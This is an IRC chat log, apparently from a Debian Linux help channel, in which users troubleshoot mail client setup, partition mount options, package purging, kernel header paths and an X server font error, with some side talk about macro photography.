| 09:56.26 | Guerin | fpmc: hrm, that's weird. try purging, then reinstalling. |
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| 09:56.34 | TheStar | WorkerII, So, pop3 with localhost as server. |
| 09:56.45 | Guerin | Fuwex: mount your partition with exec |
| 09:56.50 | TheStar | WorkerII, After installing qpopper. |
| 09:56.50 | jm_ | SlayerXP: very nice, some feller here bought that a while ago |
| 09:57.01 | PerfDave | WorkerII: Uhm, it's got the "local folders" thing which is your local mail. |
| 09:57.08 | Guerin | SlayerXP: nifty. |
| 09:57.08 | fpmc | Guerin: what is purge? |
| 09:57.10 | WorkerII | TheStar : I guess you need to set up movemail like in the old netscape. |
| 09:57.18 | SlayerXP | jm / Guerin : http://photos.hinterlands.org/p9021719.html |
| 09:57.19 | WorkerII | PerfDave : I'm still with the startup wizard .. |
| 09:57.20 | Guerin | fpmc: remove everything, including config files |
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| 09:57.24 | Fuwex | Guerin, uhmm... I'm a newb, so do you mind telling me how? or something like that :P |
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| 09:57.47 | Guerin | fpmc: that's probably why it's not replacing the existing config files, actually - use apt-get remove --purge --reinstall awstats |
| 09:57.50 | PerfDave | Fuwex: man mount |
| 09:57.53 | Fuwex | okey thx |
| 09:58.15 | fpmc | Guerin: thanks I got it now :) |
| 09:58.22 | Guerin | Fuwex: note that -o user[s] also implies noexec - that's the most common reason |
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| 09:58.29 | Bobakitoo | hi |
| 09:58.44 | Bobakitoo | what the red background on net install mean? |
| 09:58.48 | Fuwex | Guerin, -o user what? :o |
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| 09:58.59 | Guerin | Fuwex: man mount |
| 09:59.03 | Fuwex | okey |
| 10:00.29 | Fuwex | so I would mount it on /dev/sda1? |
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| 10:01.00 | SlayerXP | Guerin: also http://photos.hinterlands.org/p8972446.html |
| 10:02.02 | Guerin | hah, awesome |
| 10:02.07 | Guerin | that rose is lovely |
| 10:02.15 | Guerin | macro is hard to do without looking cheesey |
| 10:02.26 | Guerin | all /me's macro shots look like cheese |
| 10:02.28 | SlayerXP | that's not macro |
| 10:02.43 | WorkerII | I cannot spot any way to import my evolution mail in these programs ... |
| 10:02.53 | SlayerXP | Guerin: _this_ is macro: http://www.hinterlands.org/mjumacro2.jpg |
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| 10:03.34 | Guerin | SlayerXP: haha |
| 10:03.36 | Guerin | so it is |
| 10:03.43 | Guerin | and clean, as well |
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| 10:04.04 | mage | hmm evolution doesn't export to mbox or whatever? |
| 10:04.15 | fusion | What is the location of the directory of C header files that match your running |
| 10:04.15 | fusion | kernel? |
| 10:04.19 | fusion | er |
| 10:04.26 | fusion | where would they normally be? |
| 10:04.28 | mage | usually /usr/src/linux gets pointed there |
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| 10:04.32 | Guerin | Fuwex: wwhere you installed them |
| 10:04.43 | mage | but you are probably trying to set that link |
| 10:04.52 | fusion | The path "/usr/src/linux/include" is not an existing directory. |
| 10:04.55 | WorkerII | mage: Evolution is broken .. but I don't think mbox supports multiple folders anyhow? |
| 10:04.58 | mage | linux-`uname -r` |
| 10:05.14 | fusion | ah |
| 10:05.15 | fusion | thanks |
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| 10:05.38 | mage | WorkerII: well you have an mbox file for each folder I believe |
| 10:05.46 | Guerin | yes |
| 10:05.48 | Beccara | anyone able to help me with this error? |
| 10:05.49 | Beccara | Fatal server error: |
| 10:05.49 | Beccara | could not open default font 'fixed'; |
| 10:05.52 | WorkerII | mage: Oh? |
| 10:05.54 | Beccara | for x |
| 10:06.01 | WorkerII | that sounds like work ... |
| 10:06.07 | Guerin | Beccara: apt-get install x-window-system-core |
| 10:06.08 | WorkerII | I *do* have a lot of folders. |
| 10:06.12 | Beccara | thanks |
